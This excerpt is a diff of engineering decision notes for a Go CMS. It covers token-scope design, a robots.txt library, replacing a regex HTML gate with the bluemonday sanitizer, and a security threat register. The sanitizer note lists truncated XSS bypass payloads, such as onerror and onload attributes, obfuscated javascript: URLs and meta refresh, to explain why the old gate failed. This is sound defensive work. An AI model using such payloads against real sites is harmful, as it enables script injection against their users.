**Context:** Phase 19.7 gap closure, escalation E-2 (`19.7-GAP-INPUTS.md`), planner decision P-30 in plan 19.7-07 Task 2
|
||||
|
||||
## Context
|
||||
|
||||
sm-servers-app escalated E-2: member personal API tokens (`usr_`), which the user plugin issues, can only carry the fixed scopes `read`, `write` and `ai`. A plugin cannot declare its own, so a narrow agent token (`servers:read`, `servers:write`) falls back to the generic `write`, and every application sharing the token table gives the same scope a different meaning.
|
||||
|
||||
What was asked:
|
||||
|
||||
- the user plugin builds its allowed scope list from the built-ins plus plugin-declared scopes, validates names the way cabana does (pattern, no duplicates, no clash with the built-ins) and fails boot on a bad one;
|
||||
- minting, checking (`middleware.Scope`, `APIToken.HasScope`) and listing accept the declared scopes with no special casing;
|
||||
- a discovery endpoint or helper returns the scopes with name, translated label and description.
|
||||
|
||||
What was not asked for:
|
||||
|
||||
- a mint-time hook refusing a scope by the member's role;
|
||||
- any change to backend `g15_` tokens or the cabana token catalog;
|
||||
- any change to `tokens_valid_after` handling.
|
||||
|
||||
The escalation left one design point open: reuse `pact.TokenScope`, or a twin for the frontend catalog.
|
||||
|
||||
## Options
|
||||
|
||||
1. **Reuse `pact.HasTokenScopes`.** The user plugin reads the same capability cabana reads.
|
||||
2. **An audience field on `pact.TokenScope`** (`Audience: "backend" | "frontend"`), with each catalog skipping the other audience's entries.
|
||||
3. **A separate capability**, `pact.FrontendTokenScope{Name, Label, Description}` and `pact.HasFrontendTokenScopes{ FrontendTokenScopes() []FrontendTokenScope }`, mirroring the existing `pact.Permission` / `pact.FrontendPermission` pair.
|
||||
|
||||
## Decision and reasons
|
||||
|
||||
Option 3, a separate capability. pact also gains `pact.ValidTokenScopeName(name string) bool`, carrying cabana's existing pattern `^[a-z][a-z0-9_-]*(:[a-z][a-z0-9_-]*)?$`, so both catalogs validate names identically.
|
||||
|
||||
1. **The escalation asks for no change to the `g15_` catalog.** Reusing `HasTokenScopes` would show every member scope in the admin's token catalog and every admin scope in the member list. The two token kinds belong to different principals (an administrator against cabana permissions, a member against frontend routes); one list cannot describe both.
|
||||
2. **The admin type's fields do not apply to a member token.** `pact.TokenScope` carries `Permissions` (cabana permission patterns) and `Methods` (an HTTP method filter). A member route's `user.scope:<name>` middleware alone decides what a member scope allows. cabana's boot validation also requires both fields to be non-empty and the patterns to match registered permissions, so a member scope could not even be declared through it.
|
||||
3. **An audience field leaves fields meaningless for one audience.** `Permissions` and `Methods` would be dead for `frontend`, cabana would have to skip entries silently, and a typo in the audience would move a scope between catalogs without an error.
|
||||
|
||||
## Consequences
|
||||
|
||||
- The user plugin (sm-user-plugin, plan 19.7-08 Task 3) compiles `HasFrontendTokenScopes` from the active plugins, validates each name with `pact.ValidTokenScopeName`, refuses duplicates and clashes with `read`, `write` and `ai`, and fails boot on a bad scope. It owns minting, checking, listing and the discovery endpoint.
|
||||
- The framework never reads `HasFrontendTokenScopes`; cabana's `g15_` catalog is unchanged in behaviour and in every error message (it now calls `pact.ValidTokenScopeName` instead of its own copy of the pattern).
|
||||
- `pact.ValidTokenScopeName` is the single name rule; a future change to the pattern changes both catalogs together.
|
||||
- Reversibility is costly: `pact.FrontendTokenScope`, `pact.HasFrontendTokenScopes` and `pact.ValidTokenScopeName` are published framework API, so a reshape needs a deprecation cycle.
|
||||
|
||||
## Related
|
||||
|
||||
- `.planning/phases/19.7-generic-mcp-module/19.7-GAP-INPUTS.md`, section "E-2"
|
||||
- `.planning/phases/19.7-generic-mcp-module/19.7-07-PLAN.md`, P-30 and Task 2
|
||||
- `.planning/phases/19.7-generic-mcp-module/19.7-08-PLAN.md`, Task 3 (the user plugin side)
|
||||
- `modules/pact/capabilities.go`, `modules/cabana/token_scopes.go`
|
||||
33
.planning/notes/2026-10-27-robots-txt-grobotstxt.md
Normal file
33
.planning/notes/2026-10-27-robots-txt-grobotstxt.md
Normal file
@@ -0,0 +1,33 @@
|
||||
# Decision: the robots.txt tester uses grobotstxt
|
||||
|
||||
**Date:** 2026-10-27
|
||||
**Status:** Accepted
|
||||
**Context:** Phase 32 (SEO foundation, D-22, D-24, D-99), 32-RESEARCH.md Standard Stack and Package Legitimacy Audit, plan 32-04 Task 4
|
||||
|
||||
## Decision
|
||||
|
||||
The robots.txt tester of `sm-seo-plugin` (element E5, widget action `robots_test`) and the check that warns when robots.txt blocks a noindex address (D-24) match URLs with `github.com/jimsmart/grobotstxt`.
|
||||
|
||||
- **`github.com/jimsmart/grobotstxt` pinned at v1.0.3.** Published 2022-03-16 (proxy.golang.org), Apache-2.0, origin `github.com/jimsmart/grobotstxt` at tag `v1.0.3`. It is the newest tag.
|
||||
- **Why this library.** It is a function-for-function Go port of Google's C++ robots.txt parser and matcher (`google/robotstxt`), so the tester answers what Googlebot does:
|
||||
- the longest matching rule wins, and `Allow` wins a tie with `Disallow`;
|
||||
- `*` matches any run of characters and `$` anchors the end;
|
||||
- user-agent groups are chosen as Google chooses them (the most specific group, else `*`);
|
||||
- `RobotsMatcher.MatchingLine()` gives the line number of the deciding rule (0 when no rule matched), which E5 shows to the editor.
|
||||
- **What the plugin calls:** `NewRobotsMatcher()`, `(*RobotsMatcher).AgentAllowed(robotsBody, userAgent, uri)` and `MatchingLine()`. Nothing else, and only in `sm-seo-plugin/classes/robots.go`.
|
||||
- **Plugin-only.** Only `sm-seo-plugin` requires it. The framework `go.mod` does not, and `grep jimsmart/grobotstxt go.mod` in summercms.go stays empty.
|
||||
- **Imported packages:** the library imports the standard library only (`go list -deps` on a scratch module lists `github.com/jimsmart/grobotstxt` as its single non-stdlib package). Its go.mod requires ginkgo and gomega for its own tests; they reach a consumer's go.sum and are never compiled into a binary.
|
||||
|
||||
## Rejected alternatives
|
||||
|
||||
- **`github.com/temoto/robotstxt` v1.1.2** (2021, MIT). Older, with its own parser, no matching-line API, and no documented Google longest-match semantics.
|
||||
- **A hand-written RFC 9309 matcher** (about 200 lines). Standard library first and no stale dependency, but protocol code the project prefers to take from a maintained library, and Google's behaviour has edge cases the port already covers. RFC 9309 is frozen (2022), so a 2022 release of a faithful port is not a staleness risk in practice.
|
||||
|
||||
## Package legitimacy
|
||||
|
||||
The package-legitimacy seam cannot check Go modules, so grobotstxt was gated by a blocking human check (plan 32-03 Task 4) and approved by Jakub before any `go get`. The orchestrator verified that v1.0.3 resolves through proxy.golang.org; the licence file in the module is Apache-2.0.
|
||||
|
||||
## Consequences
|
||||
|
||||
- `sm-seo-plugin/go.mod` requires `github.com/jimsmart/grobotstxt v1.0.3`; applications that mount the plugin get it through the plugin.
|
||||
- If the library ever needs replacing, the tester's answer shape (allowed or blocked, the line and its text, blocked by a bot switch) is the plugin's own, so only `classes/robots.go` changes.
|
||||
@@ -56,6 +56,8 @@ Third-party plugins in many projects: `winter/location` is in 19, `winter/blocks
|
||||
5. **Phase 20, Płytarium cutover.**
|
||||
6. **After Phase 20:** the Horoskopia port comes first, then the Wavepath port. Neither is planned yet. This stretch is about preparing the shared plugins, not migrating apps, and a stabilization phase may come first. See the seeds for both ports.
|
||||
|
||||
**Superseded 2026-10-18** (`.planning/notes/2026-10-18-roadmap-reorder-demo-release-wavepath.md`): Phase 20 is a demo instance with every shared plugin, Phases 21 to 29 are added as needed, the Płytarium cutover is Phase 30, the WavePath phases are 31 to 35 (from 2026-10-11 WavePath comes before Horoskopia), and Horoskopia-driven development is 36 to 40.
|
||||
|
||||
## Related
|
||||
|
||||
- `core-plugins-own-repos.md`: each shared plugin gets an `sm-<name>-plugin` repo
|
||||
|
||||
70
.planning/notes/journal-html-sanitizing-bluemonday.md
Normal file
70
.planning/notes/journal-html-sanitizing-bluemonday.md
Normal file
@@ -0,0 +1,70 @@
|
||||
# Decision: bluemonday sanitizes journal post HTML
|
||||
|
||||
**Date:** 2026-10-09
|
||||
**Status:** Accepted (fixes Phase 16.1 code review CR-01 and WR-01)
|
||||
**Supersedes:** the three-regex `rejectUnsafe` gate in `sm-journal-plugin/classes/format_html.go` and the Phase 16.1 threat-register claim T-16.1-02
|
||||
|
||||
## Decision
|
||||
|
||||
`sm-journal-plugin` adds `github.com/microcosm-cc/bluemonday` v1.0.27 (the latest tag; the repository is not archived and has had no release since July 2024). `classes.FormatHTML` renders markdown with goldmark `html.WithUnsafe()` as before, then sanitizes the result with a package-level bluemonday policy. The plugin also imports `golang.org/x/net/html` directly. It was already in the build through bluemonday and the framework.
|
||||
|
||||
The policy is `bluemonday.UGCPolicy()` with these changes, each taken from goldmark's own output or from the posts and categories on the UAT database:
|
||||
|
||||
| Change | Why |
|
||||
|---|---|
|
||||
| `RequireNoFollowOnLinks(false)` | Winter does not add `rel="nofollow"`, so stored links keep their form. |
|
||||
| `footer` element | An imported author footer (post 64). |
|
||||
| `class` on every element, matching `SpaceSeparatedTokens` | Imported footers and goldmark's `{.class}` attributes and footnote classes. |
|
||||
| `itemscope` (empty), `itemtype` (`https://schema.org/<Type>` only), `itemprop` | schema.org microdata in the imported author footer. |
|
||||
| Styles `color`, `font-size`, `font-weight`, `text-align` | Inline styles in the imported author footer, and goldmark's table cell alignment. bluemonday validates each value. |
|
||||
| `role` = `doc-noteref`, `doc-endnotes` or `doc-backlink` on `a` and `div` | goldmark's footnote markup. |
|
||||
| `dir` = `ltr`, `rtl` or `auto` | Pasted chat transcripts in category bodies use `dir="auto"`. UGC's `Direction` allows only `ltr` and `rtl`. |
|
||||
| `data-message-author-role`, `data-message-id` on `div` (`[A-Za-z0-9_-]+`) | The same pasted transcripts. This is not `AllowDataAttributes()`, which would allow every `data-*` attribute. |
|
||||
|
||||
Everything else that UGC refuses is refused: `script`, `style`, `iframe`, `object`, `embed`, `form`, `input`, `base`, `meta`, `link`, `svg`, `math`, comments, every `on*` attribute, `target`, `rel`, `title` values outside UGC's `Paragraph` pattern, and URLs other than `http`, `https`, `mailto` and relative URLs. bluemonday checks URLs after the tokenizer has decoded entities, and it requires them to parse with `net/url`.
|
||||
|
||||
## Strip vs refuse
|
||||
|
||||
- **Posts strip.** `FormatHTML` stores the sanitized output and never fails because of unsafe markup. This is parity: Winter's `Post::formatHtml` runs `Html::clean` for every writer without `backend.allow_unsafe_markdown` (a CLI import has no backend user, so it is always cleaned). `Html::clean` strips `on*` and `xmlns` attributes, `javascript:`, `vbscript:` and `data:` URLs, `style` attributes, and the `script`, `style`, `iframe`, `embed`, `object`, `meta`, `base` and `link` tags. It never refuses. The Go port sanitizes for every writer. There is no permission that skips it, because superusers in PHP hold `backend.allow_unsafe_markdown` implicitly, and that loophole is exactly the escalation CR-01 describes. No post test or API contract required a 422 for unsafe content. Only the old `classes` unit test did, and it now asserts stripping. `content` itself is still stored as submitted, as in PHP.
|
||||
- **Byte-stable when nothing is stripped.** `sanitizeHTML` returns the goldmark output unchanged when that output and bluemonday's output tokenize to the same tokens: the same type, tag name, decoded text and set of decoded attributes. Otherwise it returns bluemonday's output. bluemonday re-escapes `"` as `"` and `'` as `'`, so storing its output every time would rewrite every imported post on its next save. Returning the original bytes is safe only on that token-level equality. Any element, attribute or comment that the policy drops makes the tokens differ, and then the sanitized output is stored.
|
||||
- **Category content refuses.** `classes.CheckHTML` keeps its exported signature and its 422 contract. D-21 stores category content exactly as submitted, and `TestCategoriesAdminContent` asserts a 422 for unsafe content. CheckHTML now uses the same policy and comparison, and refuses whenever the policy would change the HTML.
|
||||
|
||||
- **Amended 2026-10-10 (Phase 16.2 D-10): category content strips too, and admin saves report what was stripped.** The user chose one rule for both: post and category admin writes store the sanitized output and never fail. `CheckHTML`'s 422 contract for categories and the `TestCategoriesAdminContent` 422 assertion are retired in Phase 16.2. Winter stored category content unsanitized; that was a gap, not a contract. When the policy removes anything, the admin save response names what was removed. The policy (and the layer's sanitize-html mirror) is extended only for the Blog Editor's own output, such as the `figure data-embed`/`data-id` embed placeholder.
|
||||
|
||||
Phase 16.2 plan 03 implements this. The Blog Editor field types decode every locale's value with `classes.SanitizeHTMLReport`, store its output (the submitted bytes when nothing is removed) and return what was removed as admin notices; an admin save of post content writes the same HTML to `content` and `content_html` without goldmark. `newHTMLPolicy` gains exactly four rules for the editor's own output, and nothing else (no iframe, no other `data-*` attribute, no `target`, `rel`, style property or URL scheme). Plan 02's `tests/blogeditor/fixtures/editor-corpus.json` pins them: `TestEditorOutputPassesPolicy` requires every corpus entry to come back from `SanitizeHTML` byte for byte with an empty report, and checks that other providers, malformed ids and other attributes are still stripped. Plan 04 adds the same four rules to the layer's sanitize-html mirror and checks the same corpus. A fifth rule is added only to both policies together.
|
||||
|
||||
| Change (Phase 16.2) | Why |
|
||||
|---|---|
|
||||
| `data-embed` matching `^youtube$` on `figure` | The editor's embed placeholder `<figure data-embed="youtube" data-id="..."></figure>`; the layer expands it, no iframe is stored. |
|
||||
| `data-id` matching `^[A-Za-z0-9_-]{11}$` on `figure` | The YouTube video id of the same placeholder. |
|
||||
| `alt` with any text on `img` | The editor's alt field takes free text; UGC's `Paragraph` pattern drops `:`, `?`, `"` and more. The value is escaped on output and carries no URL. |
|
||||
| `start` matching `^[0-9]+$` on `ol` | TipTap's ordered-list input rule writes it when a list does not start at 1. |
|
||||
|
||||
- **Translations follow the same rule (2026-10-10, audit W-1).** `classes.FormatTranslation` runs on every locale of every API and import write: a non-blank `content` re-derives `content_html` with `FormatHTML` (a supplied `content_html` is replaced, as for the host column); a `content_html` sent alone goes through `classes.SanitizeHTML`, the same policy. A translation keyed on the default locale, which `translate.SetTranslated` writes straight into the host column, is covered too. PHP stored a client-supplied translated `content_html` as-is on the API and import paths; the port follows the PHP admin widget, which always derived it.
|
||||
- **Duplicate attributes count as a change (audit W-2).** `golang.org/x/net/html` drops a repeated attribute while tokenizing, so the byte-stable comparison could not see `href="https://x" href="javascript:..."`. `htmlTokens` compares the raw attribute names of each start tag (`rawAttrNames`) with the attributes the tokenizer kept; any difference stores the sanitized output and makes `CheckHTML` refuse.
|
||||
|
||||
## Rationale
|
||||
|
||||
The regex blocklist could be bypassed once raw HTML passed through. These payloads came back unchanged with no error: `<img src="x"onerror=...>` (no space before the attribute), `<svg/onload=...>`, `javascript:`, `javascript:`, `javascript:`, `java<TAB>script:`, MathML `xlink:href`, and the inert-looking but dangerous `<base>`, `<meta http-equiv=refresh>` and `<form>`. The `data:` pattern also matched ordinary text, so "Data: 12 maja 2024" and "metadata:" were refused (WR-01). A sanitizer that tokenizes the HTML checks attributes and URL values in the same way a browser parses them, so it does not depend on any text pattern.
|
||||
|
||||
## Alternatives considered
|
||||
|
||||
- **A hand-built allow-list gate on `golang.org/x/net/html`.** It would add no new module, but the element and attribute allow-lists, the URL normalization (entity decoding, stripping ASCII whitespace and control characters, scheme checks) and the CSS value checks would be new security code that this project would own. bluemonday is the maintained Go implementation of exactly that, with its own test corpus. The project prefers a maintained library for protocol and security code.
|
||||
- **Anchoring the regexes to attribute values** (the WR-01 stop-gap). It fixes the false refusals but not the bypasses.
|
||||
- **Refusing posts with a 422 instead of stripping.** That is not PHP parity. It would also turn every pasted editor fragment that contains a stray `style` element or attribute into a failed save or import.
|
||||
|
||||
## Consequences
|
||||
|
||||
- UAT impact scan, read-only, run on 2026-10-09 over 104 posts, 2 `en` translations and 6 category bodies:
|
||||
- **No stored post or category holds an XSS payload.**
|
||||
- Only post 64 changes when it is next re-saved. Its 24-line `<style>` block for the author footer is removed, so the footer loses its flex layout and the round photo. The footer's `itemscope` is re-serialized as `itemscope=""`, and its inline styles lose the trailing `;`. The text, image and microdata stay.
|
||||
- All 6 category bodies pass `CheckHTML`.
|
||||
- The stored `content_html` does not change until a post is saved again.
|
||||
- The README Posts bullet, the `CheckHTML` row and the Dependencies line in `sm-journal-plugin/README.md` describe the sanitizer.
|
||||
- `sm-grzybyfunkcjonalne-app` includes the plugin as a submodule (`plugins/golem15/journal`), so it gets the fix when that submodule is bumped. Its workspace then needs bluemonday's `go.sum` lines.
|
||||
|
||||
## Follow-ups
|
||||
|
||||
- Done: the post 64 author-footer CSS moved into vue-grzybyfunkcjonalne-app `app/assets/css/base.css` (2c46185).
|
||||
- Done: `vue-journal-layer` replaced its regex gate with sanitize-html 2.18.0 mirroring this policy (5beb1c5; decision note `docs/decisions/0001-sanitize-html.md` in that repository, which explains why not DOMPurify).
|
||||
- If editors need `target="_blank"` links, `rel`, or `title` values with quotes or `&`, extend the policy deliberately. These are not allowed now because no imported content uses them.
|
||||
47
.planning/notes/wavepath-framework-asks-division.md
Normal file
47
.planning/notes/wavepath-framework-asks-division.md
Normal file
@@ -0,0 +1,47 @@
|
||||
---
|
||||
title: How the WavePath framework asks divide between SummerCMS and WavePath
|
||||
date: 2026-10-11
|
||||
context: /msd-explore on the WavePath hand-off list `/media/nvme/dev/jz/wavepath.org/.planning/notes/summercms-framework-asks-for-wavepath.md`. Seed `SEED-261007-0tb`.
|
||||
---
|
||||
|
||||
# How the WavePath framework asks divide between SummerCMS and WavePath
|
||||
|
||||
WavePath's agent wrote a list of what it needs from SummerCMS (section A) and what it will do itself (section B). Section B stays on the WavePath side as its migration milestone. Section A lands here as the 19.x phases, all before the Płytarium cutover (Phase 20).
|
||||
|
||||
## Decisions
|
||||
|
||||
> **Updated 2026-10-18** (`.planning/notes/2026-10-18-roadmap-reorder-demo-release-wavepath.md`): the Płytarium cutover is now Phase 30, after a demo instance at Phase 20. Chat parity against WavePath's clients moved from 19.2 to Phase 31 and opens the WavePath phases (31 to 35). The other 19.x phases still land before the cutover. Phase numbers below are as of 2026-10-11.
|
||||
|
||||
- **The 19.x block comes before the cutover.** Chat first, then chat polish, then the other framework and user-plugin asks. Phase 20 waits for 19 to 19.6. The WavePath migration milestone opens after Phase 20.
|
||||
- **Chat is ported from the WavePath copy**, with `root_id` threading and `thread_summaries`. This settles the open chat-source question for Phase 19.
|
||||
- **The seed's trigger is now "Phase 20 complete".** The WavePath milestone no longer waits for the Horoskopia port.
|
||||
|
||||
## Where each ask lands
|
||||
|
||||
| Ask | Where |
|
||||
|---|---|
|
||||
| A9: chat and chatchannels | Phase 19 |
|
||||
| A9: chatbots, chatvideo (LiveKit, reconcile job), forum, herald (web push), userfriends | Phase 19.1 |
|
||||
| Chat parity against WavePath's clients | Phase 19.2, now Phase 31 |
|
||||
| A3 cookie refresh and CORS, A6 cache and Redis `surf.Store`, A8 S3 option, `/api-docs`, Turnstile | Phase 19.3 (`summercms.go`) |
|
||||
| A1 OIDC provider | Phase 19.4 (`wristband`) |
|
||||
| A2 social login | Phase 19.5 (`sm-user-plugin`) |
|
||||
| A4 2FA, A5 device flow | Phase 19.6 (`sm-user-plugin`) |
|
||||
| A7 `summer import:winter` | Phase 20, now Phase 30 (D-02 runner), with the WavePath stress cases below |
|
||||
|
||||
## Corrections to the hand-off list
|
||||
|
||||
- **The user plugin is already shared.** `sm-user-plugin` (`git.golem15.com/golem15/sm-user-plugin`) is its own repo, checked out by both fonoteka.go and sm-bm-app. Phases 19.5 and 19.6 add to it directly. Both consuming apps must still build after each change.
|
||||
- **Plugin-registrable token scopes (A8) are dropped for now.** `sm-user-plugin` already mints scoped tokens (`MintAPIToken`, `HasScope`). Its allowed list (`read`, `write`, `ai`) is a static package variable. WavePath's `wave.scope.public:*` scopes belong to its own `wave_token` guard and `golem15_wavepath_api_tokens` table, which section B ports on the WavePath side. Add a `RegisterAPITokenScope` hook only if WavePath confirms that its user-plugin tokens carry custom scopes.
|
||||
|
||||
## `import:winter` stress cases from WavePath (for Phase 30, formerly 20)
|
||||
|
||||
- The source is MariaDB. That is the same MySQL wire protocol, but check type coercion.
|
||||
- About 90 tables, including large chat and channel message tables. Batching must handle them.
|
||||
- APP_KEY-encrypted columns go through the Laravel-decrypt hook.
|
||||
- Zero-knowledge encryption-key blobs are copied byte for byte and never decoded.
|
||||
- `system_files` across 16 attaching models, and 9 `system_settings` rows.
|
||||
|
||||
## Scope reminder
|
||||
|
||||
The WavePath backend is about 350 routes, about 90 tables and 164 migrations across `wavepath` and its shared plugins. The PHP routes are not frozen, so re-count when the milestone opens.
|
||||
@@ -0,0 +1,139 @@
|
||||
---
|
||||
phase: "06"
|
||||
slug: "http-routing-auth-groups-and-rate-limiting"
|
||||
status: verified
|
||||
# threats_open = count of OPEN threats at or above workflow.security_block_on severity (the blocking gate)
|
||||
threats_open: 0
|
||||
threats_total: 38
|
||||
threats_closed: 38
|
||||
accepted_risks: 4
|
||||
asvs_level: 1
|
||||
block_on: high
|
||||
register_authored_at_plan_time: true
|
||||
created: "2026-10-12"
|
||||
---
|
||||
|
||||
# Phase 06 — Security
|
||||
|
||||
> Per-phase security contract: threat register, accepted risks, and audit trail.
|
||||
|
||||
Detailed per-threat findings, grep evidence and the reopen history (Plan 06-11's verdict superseded by 06-12 to 06-14) live in `06-SECURITY-REVIEW.md`. This file is the gate contract derived from all fourteen `<threat_model>` blocks. Framework paths are relative to `summercms.go/modules/`; app paths are relative to `fonoteka.go/`.
|
||||
|
||||
---
|
||||
|
||||
## Trust Boundaries
|
||||
|
||||
| Boundary | Description | Data Crossing |
|
||||
|----------|-------------|---------------|
|
||||
| client → Authorization header | untrusted JWT or `inv_` bearer parsed on every request | raw token, token hash, user id (high) |
|
||||
| guard registry → plugin Boot | plugin-declared guard names become live auth middleware | guard names, guard values |
|
||||
| inv_token guard → api_tokens table | hash-indexed lookup of an untrusted bearer | token_hash, scopes, expiry, revocation (high) |
|
||||
| client → X-Forwarded-For / limiter keys | untrusted IP, token id, route param feed the limiter store | RemoteAddr, XFF, `tok:<id>` |
|
||||
| request metadata → anonymous inline key | throttle text and Host inputs must not select a fresh budget | `inline:domainless`, trusted ClientIP |
|
||||
| public-share group → anonymous caller | zero-credential surface; errors must not leak internals | 429 body, cache/robots headers |
|
||||
| raw group → house middleware | RFC/OAuth surface must never inherit the house envelope | middleware names |
|
||||
| request body → middleware and handler | unbounded body is a resource-exhaustion vector | request body bytes |
|
||||
| handler/middleware → client response | partial output must not escape on panic | status, headers, body |
|
||||
| caller URL / DNS answer → outbound dial | SSRF to loopback, RFC1918, CGNAT, metadata, special-use, transition and zoned addresses | dial-time IP, host allow-list (high) |
|
||||
| personal-token context → denial serializer | 401/403 bytes are part of the PHP compatibility contract | exact JSON bytes |
|
||||
| test evidence → security sign-off | verdict must follow executed proof | review document, gate output |
|
||||
|
||||
---
|
||||
|
||||
## Threat Register
|
||||
|
||||
| Threat ID | Category | Component | Severity | Disposition | Mitigation | Status |
|
||||
|-----------|----------|-----------|----------|-------------|------------|--------|
|
||||
| T-06-01 | Spoofing | bouncer.Registry.Register | high | mitigate | duplicate/unknown/neither-interface guards fail boot; `bouncer/registry_test.go:TestDuplicateGuardNameFailsWithPluginAndName`, `TestUnknownGuardNameFails`, `TestRegisterNeitherInterfaceNamesPluginAndName` | closed |
|
||||
| T-06-02 | Elevation of Privilege | jwt vs inv_token groups | high | mitigate | `plugins/golem15/fonoteka/routes_isolation_test.go:TestFullRouteTableAuthGroupMutualExclusivity`; `routes_group_test.go:TestGenresSharedHandler` | closed |
|
||||
| T-06-03 | Information Disclosure | ApiToken.TokenHash | medium | accept | hidden via `json:"-"`/Hidden(); `classes/hidden_marshal_test.go:TestHiddenNeverMarshals` | closed |
|
||||
| T-06-04 | Repudiation | last_used stamping | low | mitigate | single UpdateColumns, no bearer logging; `classes/auth/token_guard_test.go:TestTokenGuard` | closed |
|
||||
| T-06-05 | Tampering | SHA-256 hash lookup timing | low | accept | indexed equality lookup, not a secret byte compare | closed |
|
||||
| T-06-06 | Denial of Service | surf.ClientIP | medium | mitigate | XFF honored only from `http.trusted_proxies`; `surf/clientip_test.go:TestClientIPRejectsSpoofedXFF` | closed |
|
||||
| T-06-07 | Information Disclosure | public-share 429 | medium | mitigate | fixed JSON body + no-index/no-store; `middleware/public_share_headers_test.go:TestPublicShareHeadersRewrites429` | closed |
|
||||
| T-06-08 | Denial of Service | MemoryStore cardinality | medium | accept | sweep bounds growth (D-03); `surf/limiter_coverage_test.go:TestMemoryStoreSweepRemovesExpiredEntry` | closed |
|
||||
| T-06-09 | Repudiation | parity fixtures under APP_DEBUG | low | mitigate | `parity/php_debug_test.go:TestPHPParityPinsAppDebugFalse` | closed |
|
||||
| T-06-10 | Elevation of Privilege | full route-table exclusivity | high | mitigate | `routes_isolation_test.go:TestFullRouteTableAuthGroupMutualExclusivity` over real `Router.Routes()` | closed |
|
||||
| T-06-11 | Tampering | raw-group house-middleware refusal | medium | mitigate | `surf/routetable_test.go:TestRawGroupHouseMiddlewareRefusedAtBuild`; `routes_cors_test.go:TestRawGroupRefusesHouseMiddlewareOnRealPlugins`, `TestHouseMiddlewareCapabilityOnRealPlugins` | closed |
|
||||
| T-06-12 | Denial of Service | unbounded request body | high | mitigate | MaxBytesReader on non-raw routes; `surf/bodylimit_test.go:TestBodyLimitDefaultRejectsOversizedBody`, `TestBodyLimitRawExempt` (middleware gap closed by T-06-28) | closed |
|
||||
| T-06-13 | Information Disclosure | body limits shipped as a guess | low | mitigate | operator-confirmed 128M; `http_config_test.go:TestProductionBodyLimitsOperatorConfirmed` | closed |
|
||||
| T-06-14 | Elevation of Privilege | SSRF to internal/metadata | critical | mitigate | dial-time Control in both modes; `fetchguard/fetch_test.go:TestFetchPrivateIPBlockedInBothModes`; `fetchguard/ip_test.go:TestIsReservedOrPrivate` | closed |
|
||||
| T-06-15 | Tampering | DNS rebinding | high | mitigate | check runs on the connected address; `TestFetchPrivateIPBlockedInBothModes` | closed |
|
||||
| T-06-16 | Denial of Service | unbounded response body | medium | mitigate | streaming LimitReader + timeout; `fetchguard/fetch_test.go:TestFetchTooLargeIsStreaming` | closed |
|
||||
| T-06-17 | Elevation of Privilege | redirect to private address | high | mitigate | no automatic redirects; `fetchguard/fetch_test.go:TestFetchDoesNotFollowRedirect` | closed |
|
||||
| T-06-18 | Spoofing | dotted-suffix allow-list bypass | high | mitigate | `TestFetchAllowHostsRejectsDottedSuffixBypass`; `fetchguard/fetch_coverage_test.go:TestHostAllowedExactAndDottedSuffix` | closed |
|
||||
| T-06-19 | Repudiation | security review completeness | low | mitigate | `06-SECURITY-REVIEW.md` maps every implementation ID; this file maps all 38 | closed |
|
||||
| T-06-20 | Tampering | coverage gaps hiding defects | low | mitigate | 06-05 coverage tests (`*_coverage_test.go`); 06-14 regression tests | closed |
|
||||
| T-06-21 | Denial of Service | personal-token genres chain | high | mitigate | `inv_token` → `throttle` → `inv.scope`; `routes_isolation_test.go:TestPersonalTokenGenresUnauthenticatedRequestsAreRateLimited` | closed |
|
||||
| T-06-22 | Denial of Service | fonoteka-api-token key selection | medium | mitigate | credential resolved before key closure (`tok:<id>`); same test + route-order invariant | closed |
|
||||
| T-06-23 | Denial of Service | Store / FixedWindowLimiter | high | mitigate | atomic Attempt; `surf/limiter_test.go:TestMemoryStoreConcurrentAttempt`, `TestFixedWindowLimiterConcurrentMaxOne` | closed |
|
||||
| T-06-24 | Denial of Service | inline anonymous key | high | mitigate | `inline:domainless|<ClientIP>`; `surf/limiter_test.go:TestFixedWindowLimiterInlineThrottleKeys` | closed |
|
||||
| T-06-25 | Elevation of Privilege | IPv6 transition SSRF | critical | mitigate | NAT64/6to4 decode; `fetchguard/ip_test.go:TestIsReservedOrPrivateIPv6Transitions`; `fetch_test.go:TestDialControlRejectsUnsafeIPv6Transitions` | closed |
|
||||
| T-06-26 | Information Disclosure | panic recovery | medium | mitigate | buffered commit; `surf/router_test.go:TestRecoverDiscardsPartialResponse`, `TestBufferedResponseCommitsSuccessfulOutput` | closed |
|
||||
| T-06-27 | Tampering | InvScope 401/403 bytes | medium | mitigate | `wire.WriteJSON`; `middleware/token_scope_test.go:TestInvScope` | closed |
|
||||
| T-06-28 | Denial of Service | body limit vs named middleware | high | mitigate | bodyLimit outermost; `surf/bodylimit_test.go:TestBodyLimitBoundsBodyConsumingMiddleware`, `TestBodyLimitBoundsNamedMiddleware`, `TestBodyLimitInvalidParamFailsBoot` | closed |
|
||||
| T-06-29 | Denial of Service | limiter definitions | high | mitigate | fail closed; `surf/limiter_test.go:TestRegisterBucketRejectsInvalid`, `TestValidateThrottleRejectsOverflowAndNilStore`, `TestMiddlewareFailsClosed` | closed |
|
||||
| T-06-30 | Elevation of Privilege | IANA special-use ranges | critical | mitigate | `fetchguard/ip_test.go:TestIsReservedOrPrivateIANABoundaries`, `TestIsReservedOrPrivateSpecialUseSmoke` | closed |
|
||||
| T-06-31 | Elevation of Privilege | zoned IPv6 dial | high | mitigate | `ip_test.go:TestIsReservedOrPrivateIgnoresZone`; `fetch_test.go:TestDialControlRejectsZonedAndSpecialUse`, `TestFetchPublicOnlyMapsSpecialUseToPrivateIP` | closed |
|
||||
| T-06-32 | Denial of Service | typed-nil guard | medium | mitigate | `bouncer/registry_test.go:TestRegisterRejectsTypedNilGuard`, `TestRegisterRejectsTypedNilPointerFuncMapGuards`, `TestRegisterAcceptsValidGuards` | closed |
|
||||
| T-06-33 | Spoofing | JWT numeric subject | high | mitigate | `bouncer/jwt_test.go:TestVerifyRejectsFractionalSubject`, `TestVerifySubjectMatrix`, `TestSubjectJSONNumber` | closed |
|
||||
| T-06-34 | Denial of Service | ServeMux conflict panic | medium | mitigate | `surf/bodylimit_test.go:TestCompileRouteConflictReturnsError`; `surf/router_test.go:TestFactoriesBuiltOncePerName` | closed |
|
||||
| T-06-35 | Denial of Service | missing body_limits config | medium | mitigate | `surf/router_test.go:TestBuildRouterFailsOnMissingBodyConfig`; `surf/bodylimit_test.go:TestBodyLimitMissingConfigFailsBoot` | closed |
|
||||
| T-06-36 | Repudiation | 06-SECURITY-REVIEW.md verdict | low | mitigate | verdict follows 06-14 gate output; superseded 06-11 row retained; re-checked by this audit | closed |
|
||||
| T-06-37 | Tampering | test suite loosening checks | low | mitigate | 06-14 reported the factory-cache defect and fixed it (1d2e00c) instead of masking it | closed |
|
||||
